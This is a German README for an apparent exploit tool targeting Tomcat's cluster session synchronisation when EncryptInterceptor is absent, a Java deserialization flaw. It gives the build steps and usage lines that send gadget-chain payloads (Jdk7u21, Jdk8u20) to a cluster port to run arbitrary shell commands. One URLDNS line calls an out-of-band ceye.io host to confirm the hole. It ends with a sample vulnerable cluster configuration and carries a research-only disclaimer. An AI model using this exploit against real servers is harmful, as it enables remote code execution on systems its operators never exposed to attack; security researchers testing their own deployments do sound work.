
Bei Verwendung der integrierten Session-Synchronisationsfunktion von Tomcat führt eine unsichere Konfiguration (ohne EncryptInterceptor) zu einer Deserialisierungslücke. Mit sorgfältig konstruierten Datenpaketen können Server angegriffen werden, die Tomcats eigene Session-Synchronisationsfunktion verwenden. PS: Dies ist nicht CVE-2020-9484; 9484 betrifft die Session-Persistenz-Lücke, diese hier betrifft die Session-Cluster-Synchronisationslücke!
Das Werkzeug dient ausschließlich der Sicherheitsforschung und internen Überprüfung. Es ist verboten, das Werkzeug für illegale Angriffe zu verwenden. Der Benutzer ist für die Folgen verantwortlich.
Dies ist eine Sicherheitslücke durch unsichere Konfiguration (kein EncryptInterceptor) bei Verwendung der integrierten Session-Synchronisation von Tomcat, die zu einer Deserialisierungs-Schwachstelle führt. Durch sorgfältig konstruierte Datenpakete können Server angegriffen werden, die die integrierte Session-Synchronisation von Tomcat verwenden.
Kompilieren Sie zuerst das JAR-Paket:
mvn clean compile assembly:assembly
Das generierte JAR-Paket befindet sich im target-Verzeichnis.
Verwendung, z.B.:
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>